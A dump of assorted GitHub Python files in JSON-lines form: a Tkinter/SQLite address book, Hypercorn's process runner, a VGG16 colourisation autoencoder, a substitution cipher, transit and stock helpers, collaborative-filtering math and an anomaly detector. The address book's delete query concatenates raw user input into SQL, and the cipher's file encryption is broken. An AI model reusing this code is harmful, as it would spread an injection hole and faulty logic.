Variant\")\r\nroot.iconbitmap('icon.ico')\r\nroot.geometry(\"400x400\")\r\n\r\n\r\nconn = sqlite3.connect('address_book.db')\r\n\r\n\r\n\r\nc = conn.cursor()\r\n\r\n\r\n\r\n\r\n# Документ с таблицей для базы данных создаётся при помощи:\r\n'''\r\nc.execute(\"\"\"CREATE TABLE addresses (\r\n first_name text,\r\n last_name text,\r\n address text,\r\n city text,\r\n state text,\r\n zipcode integer\r\n )\"\"\")\r\n'''\r\n\r\n\r\n#Задаём функции для различных кнопок тут:\r\n\r\ndef submit():\r\n conn = sqlite3.connect('address_book.db')\r\n \r\n c = conn.cursor()\r\n \r\n#Заполняем таблицу введёнными в рамочки данными:\r\n c.execute(\"INSERT INTO addresses VALUES (:f_name, :l_name, :address, :city, :state, :zipcode)\",\r\n { \r\n 'f_name': f_name.get(),\r\n 'l_name': l_name.get(),\r\n 'address': address.get(),\r\n 'city': city.get(),\r\n 'state': state.get(),\r\n 'zipcode': zipcode.get()\r\n \r\n })\r\n\r\n\r\n conn.commit()\r\n\r\n\r\n conn.close()\r\n\r\n \r\n f_name.delete(0, END)\r\n l_name.delete(0, END)\r\n address.delete(0, END)\r\n city.delete(0, END)\r\n state.delete(0, END)\r\n zipcode.delete(0, END)\r\n\r\n\r\ndef query():\r\n conn = sqlite3.connect('address_book.db')\r\n \r\n c = conn.cursor()\r\n\r\n#Возвращаем данные из таблицы при помощи ID, приписываемого каждому элементу в таблице\r\n c.execute(\"SELECT *, oid FROM addresses\")\r\n records = c.fetchall()\r\n #print(records)\r\n\r\n print_records = ''\r\n for record in records:\r\n print_records += str(record[0]) + ' ' + str(record[1]) + '' + '\\t' + str(record[6]) + '\\n'\r\n\r\n query_label = Label(root, text=print_records)\r\n query_label.grid(row=11, column=0, columnspan=2)\r\n\r\n\r\n conn.commit()\r\n\r\n\r\n conn.close()\r\n\r\n return\r\n\r\ndef delete():\r\n conn = sqlite3.connect('address_book.db')\r\n \r\n c = conn.cursor()\r\n\r\n c.execute(\"DELETE from addresses WHERE oid= \" + delete_box.get())\r\n\r\n\r\n conn.commit()\r\n\r\n\r\n conn.close()\r\n\r\n#Создаём рамочки для заполнения здесь\r\nf_name = Entry(root, width=30)\r\nf_name.grid(row=0, column=1, padx=20, pady=(10, 0))\r\nl_name = Entry(root, width=30)\r\nl_name.grid(row=1, column=1)\r\naddress = Entry(root, width=30)\r\naddress.grid(row=2, column=1)\r\ncity = Entry(root, width=30)\r\ncity.grid(row=3, column=1)\r\nstate = Entry(root, width=30)\r\nstate.grid(row=4, column=1)\r\nzipcode = Entry(root, width=30)\r\nzipcode.grid(row=5, column=1)\r\n\r\ndelete_box = Entry(root, width=30)\r\ndelete_box.grid(row=9, column=1)\r\n\r\n#Заголовки для рамочек тут\r\nf_name_label = Label(root, text=\"First Name\")\r\nf_name_label.grid(row=0, column=0, pady=(10, 0))\r\nl_name_label = Label(root, text=\"Last Name\")\r\nl_name_label.grid(row=1, column=0)\r\naddress_label = Label(root, text=\"Address\")\r\naddress_label.grid(row=2, column=0)\r\ncity_label = Label(root, text=\"City\")\r\ncity_label.grid(row=3, column=0)\r\nstate_label = Label(root, text=\"State\")\r\nstate_label.grid(row=4, column=0)\r\nzipcode_label = Label(root, text=\"Zipcode\")\r\nzipcode_label.grid(row=5, column=0)\r\n\r\ndelete_box_label = Label(root, text='Delete ID Number')\r\ndelete_box_label.grid(row=9, column=0)\r\n\r\n#Кнопки здесь\r\nsubmit_btn = Button(root, text=\"Add Record to Database\", command=submit)\r\nsubmit_btn.grid(row=6, column=0, columnspan=2, pady=10, padx=10, ipadx=100)\r\n\r\nquery_btn = Button(root, text=\"Show Records\", command=query)\r\nquery_btn.grid(row=7, column=0, columnspan=2, pady=10, padx=10, ipadx=130)\r\n\r\ndelete_btn = Button(root, text=\"Delete Record\", command=delete)\r\ndelete_btn.grid(row=10, column=0, columnspan=2, pady=10, padx=10, ipadx=130)\r\n\r\n\r\n\r\nconn.commit()\r\n\r\n\r\nconn.close()\r\n\r\n\r\n\r\nroot.mainloop()\r\n","repo_name":"Mikhail000Yasinski/1","sub_path":"Data_Base/data_base.py","file_name":"data_base.py","file_ext":"py","file_size_in_byte":4068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19157597512","text":"import numpy as np\ndef colorBins(Y):\n\tcols = ['blue', 'red', 'black', 'gray']\n\tif type(Y) == type([]):\n\t\tif type(Y[0]) == type(3):\n\t\t\tcols = [cols[x] for x in Y]\n\t\t\treturn cols\n\t\tif type(Y[0]) == type(3.2):\n\t\t\tr = list(map(int,Y))\n\t\t\tcols = [cols[x] for x in r]\n\t\t\treturn cols\n\tif type(Y) == type(np.matrix(np.ones((2,3)))):\n\t\tif Y.shape[0] == 1:\n\t\t\tr = Y.astype(int).tolist()[0]\n\t\t\tcol = [cols[i] for i in r]\n\t\t\treturn col\n\t\tif Y.shape[1] == 1:\n\t\t\tr = Y.T.astype(int).tolist()[0]\n\t\t\tcol = [cols[i] for i in r]\n\t\t\treturn col\n\n","repo_name":"DonaldDiJacklin/DataScience","sub_path":"MyML/SupportFunctions/colorPredictions.py","file_name":"colorPredictions.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19646991761","text":"from __future__ import annotations\n\nimport platform\nimport signal\nimport time\nfrom multiprocessing import get_context\nfrom multiprocessing.context import BaseContext\nfrom multiprocessing.process import BaseProcess\nfrom multiprocessing.synchronize import Event as EventType\nfrom pickle import PicklingError\nfrom typing import Any, List\n\nfrom .config import Config, Sockets\nfrom .typing import WorkerFunc\nfrom .utils import load_application, wait_for_changes, write_pid_file\n\n\ndef run(config: Config) -> None:\n if config.pid_path is not None:\n write_pid_file(config.pid_path)\n\n worker_func: WorkerFunc\n if config.worker_class == \"asyncio\":\n from .asyncio.run import asyncio_worker\n\n worker_func = asyncio_worker\n elif config.worker_class == \"uvloop\":\n from .asyncio.run import uvloop_worker\n\n worker_func = uvloop_worker\n elif config.worker_class == \"trio\":\n from .trio.run import trio_worker\n\n worker_func = trio_worker\n else:\n raise ValueError(f\"No worker of class {config.worker_class} exists\")\n\n sockets = config.create_sockets()\n\n # Load the application so that the correct paths are checked for\n # changes.\n load_application(config.application_path, config.wsgi_max_body_size)\n\n ctx = get_context(\"spawn\")\n\n active = True\n while active:\n # Ignore SIGINT before creating the processes, so that they\n # inherit the signal handling. This means that the shutdown\n # function controls the shutdown.\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n\n shutdown_event = ctx.Event()\n processes = start_processes(config, worker_func, sockets, shutdown_event, ctx)\n\n def shutdown(*args: Any) -> None:\n nonlocal active, shutdown_event\n shutdown_event.set()\n active = False\n\n for signal_name in {\"SIGINT\", \"SIGTERM\", \"SIGBREAK\"}:\n if hasattr(signal, signal_name):\n signal.signal(getattr(signal, signal_name), shutdown)\n\n if config.use_reloader:\n wait_for_changes(shutdown_event)\n shutdown_event.set()\n else:\n active = False\n\n for process in processes:\n process.join()\n for process in processes:\n process.terminate()\n\n for sock in sockets.secure_sockets:\n sock.close()\n for sock in sockets.insecure_sockets:\n sock.close()\n\n\ndef start_processes(\n config: Config,\n worker_func: WorkerFunc,\n sockets: Sockets,\n shutdown_event: EventType,\n ctx: BaseContext,\n) -> List[BaseProcess]:\n processes = []\n for _ in range(config.workers):\n process = ctx.Process( # type: ignore\n target=worker_func,\n kwargs={\"config\": config, \"shutdown_event\": shutdown_event, \"sockets\": sockets},\n )\n process.daemon = True\n try:\n process.start()\n except PicklingError as error:\n raise RuntimeError(\n \"Cannot pickle the config, see https://docs.python.org/3/library/pickle.html#pickle-picklable\" # noqa: E501\n ) from error\n processes.append(process)\n if platform.system() == \"Windows\":\n time.sleep(0.1)\n return processes\n","repo_name":"pgjones/hypercorn","sub_path":"src/hypercorn/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","stars":770,"dataset":"github-code","pt":"48"} +{"seq_id":"13176350084","text":"#%tensorflow_version 1.x\nimport os\nimport numpy as np\nimport random\nimport gc\nimport time\nimport json\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nprint('Tensorflow Version:', tf.__version__)\n\nimport requests\nfrom io import BytesIO\nimport sys\n\nimport keras\nfrom keras.preprocessing import image\nfrom keras.engine import Layer\nfrom keras.layers import Conv2D, Conv3D, UpSampling2D, InputLayer, Conv2DTranspose, Input, Reshape, merge, concatenate\nfrom keras.layers import Activation, Dense, Dropout, Flatten\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.callbacks import TensorBoard\nfrom keras.models import Sequential, Model\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau, LearningRateScheduler\nfrom keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img\nfrom skimage.color import rgb2lab, lab2rgb, rgb2gray, gray2rgb\nfrom skimage.transform import resize\nfrom skimage.io import imsave\nfrom PIL import Image, ImageFile\nfrom tensorflow.keras import backend as K\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.utils import plot_model, Sequence\n\ndef get10KImageArray(FOLDER_PATH, target_size, isColor,isSplit,val_split=0.1, test_split=0.1):\n image_files_lst = os.listdir(FOLDER_PATH)\n image_files_lst.sort()\n image_files_lst=image_files_lst[-20000:]\n num_images = len(image_files_lst)\n x = []\n if isColor == True:\n color_mode = 'rgb'\n else:\n color_mode = 'grayscale'\n \n for img in image_files_lst:\n if '.png' in img or '.jpg' in img:\n img_arr = img_to_array(load_img(path=FOLDER_PATH + '/' + img, target_size=target_size, color_mode=color_mode)) * 1.0/255\n x.append(img_arr)\n x = np.array(x)\n print('Finished converting', str(num_images), 'images as numpy arrays!')\n print('Image pixels are in range', x.min(), 'to', x.max())\n if isSplit==True:\n train, test = train_test_split(x, test_size=test_split)\n train, val = train_test_split(train, test_size=val_split)\n print('Train Shape:', train.shape)\n print('Val Shape:', val.shape)\n print('Test Shape:', test.shape)\n return train, test, val\n return x\n\ndef getImageArray(FOLDER_PATH, target_size, isColor,isSplit,val_split=0.1, test_split=0.1):\n image_files_lst = os.listdir(FOLDER_PATH)\n image_files_lst.sort()\n num_images = len(image_files_lst)\n x = []\n if isColor == True:\n color_mode = 'rgb'\n else:\n color_mode = 'grayscale'\n for img in image_files_lst:\n if '.png' in img or '.jpg' in img:\n img_arr = img_to_array(load_img(path=FOLDER_PATH + '/' + img, target_size=target_size, color_mode=color_mode)) * 1.0/255\n x.append(img_arr)\n x = np.array(x)\n print('Finished converting', str(num_images), 'images as numpy arrays!')\n print('Image pixels are in range', x.min(), 'to', x.max())\n if isSplit==True:\n train, test = train_test_split(x, test_size=test_split)\n train, val = train_test_split(train, test_size=val_split)\n print('Train Shape:', train.shape)\n print('Val Shape:', val.shape)\n print('Test Shape:', test.shape)\n return train, test, val\n return x\n\ndef getVggBatch(batch):\n lab_batch = rgb2lab(batch)\n X_batch = lab_batch[:,:,:,0]\n X_batch=X_batch.reshape(X_batch.shape+(1,))\n vggfeatures = []\n for i, sample in enumerate(X_batch):\n sample=gray2rgb(sample)\n sample=sample.reshape((1,224,224,3))\n prediction = newmodel.predict(sample)\n prediction=prediction.reshape((7,7,512))\n vggfeatures.append(prediction)\n vggfeatures=np.array(vggfeatures)\n print('The vggfeatures shape is:', vggfeatures.shape)\n Y_batch = lab_batch[:,:,:,1:] / 128\n return (vggfeatures, Y_batch)\n\nclass DataGenerator(Sequence):\n def __init__(self, datagen, isInres=False):\n self.datagen = datagen\n #self.isInres = isInres\n self.on_epoch_end()\n \n def __len__(self):\n 'Denotes the number of batches per epoch'\n return len(self.datagen)\n \n def on_epoch_end(self):\n self.datagen.on_epoch_end()\n\n def __getitem__(self, idx):\n 'Generates one batch of data'\n batch = self.datagen[idx]\n lab_batch = rgb2lab(batch)\n X = lab_batch[:, :, :, 0] # scale to [0, 1]\n X = np.expand_dims(X, axis=3)\n X = gray2rgb(X)\n X = X.reshape((len(batch), 224, 224, 3))\n prediction = newmodel.predict(X)\n prediction = prediction.reshape((len(batch), 7,7,512))\n Y = lab_batch[:, :, :, 1:]/128\n\n return prediction, Y\n\n\ndef predictTestArrays(arrays,target_size):\n cur_pred=[]\n test_color=[]\n \n for array in arrays:\n #test=img_to_array(load_img(testpath+file))\n \n test=resize(array,target_size,anti_aliasing=True)\n lab=rgb2lab(test)\n l=lab[:,:,0]\n #reprocess to feed vgg16.encoder\n L=gray2rgb(l)\n L=L.reshape((1,224,224,3))\n vggpred=newmodel.predict(L)\n ab=model.predict(vggpred)\n ab=ab*128\n cur=np.zeros((224,224,3))\n cur[:,:,0]=l\n cur[:,:,1:]=ab\n cur_pred.append(cur)\n test_color.append(test)\n return cur_pred,test_color \n\n#plot_model(newmodel,'vgg16_encoder.png',show_shapes=True, show_layer_names=True)\ndef vggAEmodel():\n #Encoder\n encoder_input = Input(shape=(7, 7, 512,))\n #Decoder\n decoder_output = Conv2D(256, (3,3), activation='relu', padding='same')(encoder_input)\n decoder_output = Conv2D(128, (3,3), activation='relu', padding='same')(decoder_output)\n decoder_output = UpSampling2D((2, 2))(decoder_output)\n decoder_output = Conv2D(64, (3,3), activation='relu', padding='same')(decoder_output)\n decoder_output = UpSampling2D((2, 2))(decoder_output)\n decoder_output = Conv2D(32, (3,3), activation='relu', padding='same')(decoder_output)\n decoder_output = UpSampling2D((2, 2))(decoder_output)\n decoder_output = Conv2D(16, (3,3), activation='relu', padding='same')(decoder_output)\n decoder_output = UpSampling2D((2, 2))(decoder_output)\n decoder_output = Conv2D(2, (3, 3), activation='tanh', padding='same')(decoder_output)\n decoder_output = UpSampling2D((2, 2))(decoder_output)\n model = Model(inputs=encoder_input, outputs=decoder_output)\n print(model.summary())\n \n model.compile(optimizer='Adam', loss='mse' , metrics=['mae'])\n return model\n\ndef saveImage(arr, FOLDER_PATH):\n counter = 0\n for img in arr:\n imsave(FOLDER_PATH + '/' + str(counter) + '.png', lab2rgb(img))\n counter += 1\n print('Finished saving', counter, 'images!')\n\nif __name__ == '__main__':\n if len(sys.argv)<2:\n print(\"Function usaage: python vgg16_autoencoder.py ../data/test-color/vg ../data/test-pred/vg\")\n sys.exit()\n input_file = sys.argv[1]\n output_file = sys.argv[2]\n\n print('input file is ', input_file +'\\n')\n print('output file is ', output_file + '\\n')\n \n \n BATCH_SIZE = 64\n TARGET_SIZE = (224, 224)\n #load vgg model\n vggmodel = keras.applications.vgg16.VGG16()\n newmodel = Sequential() \n num = 0\n for i, layer in enumerate(vggmodel.layers):\n #if i not in [3,6]:\n if i<19:\n newmodel.add(layer)\n #newmodel.summary()\n for layer in newmodel.layers:\n layer.trainable=False\n newmodel._make_predict_function() \n #get data\n train,test,val = getImageArray(input_file, TARGET_SIZE, isColor=True,isSplit=True,val_split=0.2, test_split=0.2)\n \n \n\n # specify image data generators\n train_datagen = ImageDataGenerator(data_format='channels_last', validation_split=0.2, \n rotation_range=40, shear_range=0.2, zoom_range=0.2,\n width_shift_range=0.2, height_shift_range=0.2, \n horizontal_flip=True, vertical_flip=True)\n\n train_gen = DataGenerator(train_datagen.flow(train, subset='training', batch_size=BATCH_SIZE))\n val_gen = DataGenerator(train_datagen.flow(test, subset='validation', batch_size=BATCH_SIZE))\n #load model\n model=vggAEmodel()\n model._make_predict_function() \n \n start = time.time()\n history=model.fit_generator(train_gen,epochs=1,steps_per_epoch=len(train_gen),verbose=1,validation_data=val_gen,validation_steps=len(val_gen))\n end=time.time()-start\n print('Training time is:',end)\n\n # load weights\n model.load_weights('../weights/vgg16_weights.h5')\n \n cur_pred,test_color=predictTestArrays(test,TARGET_SIZE)\n \n saveImage(arr=cur_pred, FOLDER_PATH=output_file)\n","repo_name":"tying21/grayscale-image-colorization","sub_path":"CODE/VGG16-autoencoder/vgg16_autoencoder.py","file_name":"vgg16_autoencoder.py","file_ext":"py","file_size_in_byte":8393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36723022984","text":"import random\nimport os.path\n\n\n# A global constant defining the alphabet. \nLETTERS = \"abcdefghijklmnopqrstuvwxyz\"\n\ndef isLegalKey( key ):\n # A key is legal if it has length 26 and contains all letters.\n # from LETTERS.\n key = key.lower()\n return ( len(key) == 26 and all( [ ch in key for ch in LETTERS ] ) )\n\ndef makeRandomKey():\n # A legal random key is a permutation of LETTERS.\n lst = list( LETTERS ) # Turn string into list of letters\n random.shuffle( lst ) # Shuffle the list randomly\n return ''.join( lst ) # Assemble them back into a string\n\ndef makeConversionDictionary( key1, key2 ):\n key1 = key1.lower()\n key2 = key2.lower()\n dictkeys1 = {}\n dictkeys2 = {}\n for i in range(len(key1)):\n dictkeys1[key1[i]] = key2[i]\n dictkeys2[key2[i]] = key1[i]\n return dictkeys1, dictkeys2\n\ndef convertCharacter(ch,d):\n \"\"\"convertCharacter takes a single character and encrypts/decrypts \n it using the dictionary d. Recall that you have to treat the cases \n of lowercase, uppercase, non-letter all separately, so it's a good \n idea to have this separate function to deal with that.\"\"\" \n if not ch.isalpha():\n converted = ch\n elif ch.islower():\n key = ch\n converted = (d[key])\n elif not ch.islower():\n ch = ch.lower()\n key = ch\n converted = ((d[key])).capitalize()\n return (converted)\n\ndef convertText( text, d ):\n \"\"\"converts a string, basically by calling convertCharacter for each \n character in it, and assembling the result.\"\"\"\n fixed = ''\n for i in range(len(text)):\n value = convertCharacter(text[i], d)\n fixed = fixed + value\n return fixed\n\nclass SubstitutionCipher:\n def __init__ (self, key = makeRandomKey()):\n \"\"\"Create an instance of the cipher with stored key, which\n defaults to a randomly generated key.\"\"\"\n self.__key = key\n\n def getKey(self):\n \"\"\"Getter for the stored key.\"\"\"\n if isLegalKey(self.__key):\n return self.__key\n\n def setKey( self, newKey):\n \"\"\"Setter for the stored key. Check that it's a legal\n key.\"\"\"\n if isLegalKey(newKey):\n self.__key = newKey.lower()\n\n def encryptFile( self, inFile, outFile ):\n \"\"\"Encrypt the contents of inFile using the stored key\n and write the results into outFile. Assume inFile exists.\n \"\"\"\n INFILE = open(inFile, \"r\")\n #OUTFILE = open(outFile, \"w\")\n # find out the outputfile name\n extension = \"-Enc\" # or \"-Dec\"\n if INFILE.endswith(\".txt\"):\n outFile = inFile[:-4] + extension + \".txt\"\n else:\n outFile = inFile + extension \n for i in INFILE.readlines():\n #print(i)\n encdict, decdict = makeConversionDictionary(LETTERS, self.__key)\n values = convertText(i, encdict)\n OUTFILE.write(values)\n INFILE.close()\n OUTFILE.close()\n return (OUTFILE)\n\n def decryptFile( self, inFile, outFile ):\n \"\"\"Encrypt the contents of inFile using the stored key\n and write the results into outFile. Assume inFile exists.\n \"\"\"\n INFILE = open(inFile, \"r\")\n OUTFILE = open(outFile, \"w\")\n for i in INFILE.readlines():\n #print(i)\n encdict, decdict = makeConversionDictionary(LETTERS, self.__key)\n values = convertText(i, decdict)\n OUTFILE.write(values)\n INFILE.close()\n OUTFILE.close()\n return (outFile)\n\n\ndef main():\n \"\"\" This implements the top level command loop. It\n creates an instance of the SubstitutionCipher class and allows the user\n to invoke within a loop the following commands: getKey, changeKey,\n encryptFile, decryptFile, quit.\"\"\"\n cipher = SubstitutionCipher()\n message = \"\\nEnter a command (getKey, changeKey, encryptFile, decryptFile, quit): \"\n command = input(message)\n while command.lower() != \"quit\":\n if command.lower() == \"getkey\":\n print(\" Current cipher key:\", cipher.getKey())\n elif command.lower() == \"decryptfile\":\n filename = input(\" Enter a filename: \")\n if os.path.exists(filename): #check that file exists \n out_file = cipher.decryptFile(filename, \"/Users/pg/cselements/blankfile.txt\") #if so, take input filename and generate output filename\n print(\"The encrypted output filename is\", out_file)\n else:\n print(\"File does not exist\") #if not, print and continue \n elif command.lower() == \"encryptfile\":\n filename = input(\" Enter a filename: \")\n if os.path.exists(filename): #check that file exists \n out_file = cipher.encryptFile(filename, \"/Users/pg/cselements/blankfile.txt\") #if so, take input filename and generate output filename\n print(\"The decrypted output filename is\", out_file)\n else:\n print(\"File does not exist\") #if not, print and continue \n elif command.lower() == \"changekey\": #allows user to change stored key\n inner_command = input(\" Enter a valid cipher key, 'random' for a random key, or 'quit' to quit: \")\n while inner_command.lower() != \"quit\":\n if inner_command == \"random\": #random (generate and store a new random key)\n newkey = makeRandomKey()\n cipher.setKey(newkey)\n print(\" New cipher key:\", cipher.getKey())\n inner_command = \"quit\"\n elif isLegalKey(inner_command): #gather a new key, check if it is valid, if valid then set the stored key to input\n cipher.setKey(inner_command)\n print(\"New cipher key:\", cipher.getKey())\n inner_command = \"quit\"\n else:\n print(\" Illegal key entered. Try again!\")\n inner_command = input(\" Enter a valid cipher key, 'random' for a random key, or 'quit' to quit: \") \n cipher.setKey(inner_command)\n print(\"New cipher key:\", cipher.getKey())\n inner_command = \"quit\" \n else:\n print(\" Command not recognized. Try again!\")\n command = input(message) \n if command.lower() == \"quit\":\n print(\"Thanks for visiting!\\n\")\n\n\nmain()\n\n\n\n\n\n\n","repo_name":"parulg22/substitution_cipher","sub_path":"Project3.py","file_name":"Project3.py","file_ext":"py","file_size_in_byte":6460,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"10375877314","text":"from entur_api import EnturJourneyPlanner\n\n\nclass EnturJourneyPlannerUtils(EnturJourneyPlanner):\n\n def filter_departures(self, stop=None, departures=None,\n quays=None, limit=None):\n if stop is not None:\n departures = self.stop_departures_app(stop)\n elif departures is None:\n raise AttributeError('stop or departures must be specified')\n\n if departures['data']['stopPlace'] is None:\n raise Exception('No departures found')\n\n departures_filtered = []\n # print(departures)\n counter = 1\n for departure in departures['data']['stopPlace']['estimatedCalls']:\n if quays and departure['quay']['id'] not in quays:\n # print(\"Skip quay %s\" % departure['quay'])\n continue\n departures_filtered.append(departure)\n counter += 1\n if limit and counter > limit:\n break\n return departures_filtered\n","repo_name":"datagutten/entur-api","sub_path":"entur_api/EnturJourneyPlannerUtils.py","file_name":"EnturJourneyPlannerUtils.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5261848375","text":"#!/usr/bin/env python\n#\n# IMPORTANT: For some reason, sometimes this script needs to run more\n# than one time, since the url often fails to respond at the first try.\n\nimport sys\n#import urllib.request\nimport urllib2\n#from html.parser import HTMLParser\nfrom HTMLParser import HTMLParser\n\nclass StockParser(HTMLParser):\n def __init__(self):\n HTMLParser.__init__(self)\n self.inTag = None;\n\n def handle_starttag(self, tag, attrs):\n for name, value in attrs:\n if 'lblCodigo' in value:\n self.inTag = True;\n\n def handle_data(self, data):\n if self.inTag:\n stocks.append(data)\n\n def handle_endtag(self, tag):\n self.inTag = False\n\n# urlopen() returns a byte object, since it can't automatically\n# determine the encoding it receives from the server. So, we use\n# decode(), since it's specified in the content.\ntry:\n #html = urllib.request.urlopen(\"http://www.bmfbovespa.com.br/indices/ResumoCarteiraTeorica.aspx?Indice=IBrA&idioma=pt-br\").read().decode('utf-8')\n html = urllib2.urlopen(\"http://www.bmfbovespa.com.br/indices/ResumoCarteiraTeorica.aspx?Indice=IBrA&idioma=pt-br\").read().decode('utf-8')\nexcept ConnectionResetError:\n print(\"can't connect to BMF&Bovespa, try running it again\")\n exit(1)\n\nstocks = []\nparser = StockParser()\nparser.feed(html)\n\nfor s in stocks:\n print(s)\n","repo_name":"dbolgheroni/idigger","sub_path":"utils/bmfbov_init.py","file_name":"bmfbov_init.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23946803573","text":"import numpy as np\nimport logging\n\nloglevel = logging.DEBUG\nlog = logging.Logger(\"collaborativefiltering\", level=loglevel)\n\ndef initlog(loglevel=logging.DEBUG):\n global log\n log = logging.Logger(\"collaborativefiltering\", level=loglevel)\n fh = logging.FileHandler('collaborativefiltering.log')\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n log.addHandler(fh)\n \ndef initparamsandcoords(prefs, dimension):\n '''\n From prefs create and return arrays of parameters and coordinates \n for feeding to a gradient descent or other optimization method\n Imagine a table of word counts\n url1 url2 url3 ...\n word1 \n word2\n word3\n\n paramters are specific to each column and coordinates are specific to each row\n '''\n initlog()\n urllist =[]\n wordset= set([])\n for url in prefs:\n urllist.append(url)\n wordset.update(prefs[url].keys())\n wordlist = list(wordset)\n\n initparamvals = [np.random.random() for i in range(dimension +1)]\n initcoordvals = [np.random.random() for i in range(dimension)]\n params=np.array([initparamvals for i in range(len(urllist))],dtype=float) \n coords=np.array([initcoordvals for i in range(len(wordlist))],dtype=float)\n\n return params,coords,urllist,wordlist\n\ndef costfunction(x, *args):\n prefs,dimension,users,movielist = args\n nusers = len(users)\n nmovies = len(movielist)\n dimension1 = 1 + dimension\n i = x.size\n params = x[0:(nusers*dimension1)].reshape( (nusers,dimension1))\n coords = x[(nusers*dimension1):].reshape( ( nmovies, dimension) )\n J = 0.\n for user in prefs:\n i= users.index(user)\n movies = prefs[user]\n for mv in movies:\n j= movielist.index(mv)\n coordsextended=[1.]\n coordsextended.extend(coords[j])\n calculatedrank = np.dot(params[i], coordsextended)\n error = 0.5*(calculatedrank - prefs[user][mv])**2\n J = J + error\n return J\n\ndef gradientfunction(x, *args) :\n prefs,dimension,users, movielist = args\n nusers = len(users)\n nmovies = len(movielist)\n dimension1 = 1 + dimension\n params = x[0:nusers*dimension1].reshape( (nusers,dimension1))\n coords = x[nusers*dimension1:].reshape( ( nmovies, dimension) )\n paramgradlist = []\n coordgradlist = []\n for user in prefs:\n i= users.index(user)\n movies = prefs[user]\n grads = np.array([0. for i in range(dimension1)],dtype=float)\n for mv in movies:\n j= movielist.index(mv)\n coordsextended = [1.]\n coordsextended.extend(coords[j])\n calculatedtemps= \\\n (np.dot(params[i],coordsextended) - prefs[user][mv]) * np.array(coordsextended,float)\n grads = grads + calculatedtemps\n paramgradlist.extend(grads)\n for mv in movielist:\n j = movielist.index(mv)\n userlist = [user for user in prefs if mv in prefs[user]]\n grads = np.array([0. for i in range(dimension)],dtype=float)\n for user in userlist:\n i = userlist.index(user)\n coordsextended = [1.]\n coordsextended.extend(coords[j])\n calculatedtemps= \\\n (np.dot(params[i],coordsextended )-prefs[user][mv]) * params[i,1:]\n grads = grads + calculatedtemps\n coordgradlist.extend(grads) \n gradlist=[]\n gradlist.extend(coordgradlist)\n gradlist.extend(paramgradlist)\n log.debug('gradlist is ' + repr(gradlist))\n #print 'gradlist is ' + repr(gradlist)\n return np.asarray(gradlist)\n \n\n","repo_name":"ssashita/tobysegaran","sub_path":"chapter2/collabfiltering2.py","file_name":"collabfiltering2.py","file_ext":"py","file_size_in_byte":3641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2202785756","text":"from sympy import symbols, Matrix, diff, integrate, zeros\nimport os\n\n# ============================\n# === Finite Element Types ===\n# ============================\n\n# Nodes are numbered as follows, although this is not important to the user.\n#\n# 2D: Y 3D: Y\n# | |\n# 4-|-3 4-|-3\n# | +-|---X /| +-|---X\n# 1---2 / 1/--2\n# 8--/7 /\n# | / |/\n# 5/--6\n# /\n# Z\n#\n\ndef map_(fun, l1, l2):\n return [fun(v1, v2) for v1,v2 in zip(l1,l2)]\n \ndef symbolic_create():\n fname = __file__.split(\".py\")[0] + \".k\"\n if not os.path.exists(fname):\n print (\"creating symbolic matrix\",fname)\n\n # SymPy symbols:\n a, b, x, y = symbols('a b x y')\n E, nu = symbols('Em nu') # use Em not E to prevent confusion with sympy.numbers.exp1\n # N1, N2, N3, N4 = symbols('N1 N2 N3 N4') # this is actually a useless code\n \n xlist = [x, x, x, x, x, x, x, x]\n ylist = [y, y, y, y, y, y, y, y]\n yxlist = [y, x, y, x, y, x, y, x]\n\n # Shape functions:\n N1 = (a - x) * (b - y) / (4 * a * b)\n N2 = (a + x) * (b - y) / (4 * a * b)\n N3 = (a + x) * (b + y) / (4 * a * b)\n N4 = (a - x) * (b + y) / (4 * a * b)\n\n # Create strain-displacement matrix B:\n B0 = map_(diff, [N1, 0, N2, 0, N3, 0, N4, 0], xlist)\n B1 = map_(diff, [0, N1, 0, N2, 0, N3, 0, N4], ylist)\n B2 = map_(diff, [N1, N1, N2, N2, N3, N3, N4, N4], yxlist)\n B = Matrix([B0, B1, B2])\n\n # Create constitutive (material property) matrix for plane stress:\n C = (E / (1 - nu**2)) * Matrix([[1, nu, 0],\n [nu, 1, 0],\n [0, 0, (1 - nu) / 2]])\n dK = B.T * C * B\n # for 2d problem, here the material thickness t is assumed to be 1 (the same as the element's dimension)\n K = dK.integrate((x, -a, a),(y, -b, b))\n \n with open(fname,\"w\") as file:\n file.write(str(K))\n\nsymbolic_create()","repo_name":"guozifeng91/topo-py","sub_path":"data/Q4.py","file_name":"Q4.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27993335603","text":"import time\nimport random\nimport logging\nimport numpy as np\nfrom sklearn.ensemble import IsolationForest\n\nlogger = logging.getLogger(__name__)\n\n\nclass AnomalyDetector:\n data_stream = []\n\n def __init__(self, window_size=25) -> None:\n \"\"\"\n Initializes a new instance of the class.\n\n Args:\n window_size (int, optional): The size of the window. Defaults to 25.\n\n Returns:\n None\n \"\"\"\n self.window_size = window_size\n self.model = IsolationForest(contamination=0.5)\n\n def generate_data_point(self) -> float:\n \"\"\"\n Generate a data point based on a combination of regular pattern, seasonal element, and random noise.\n\n Returns:\n 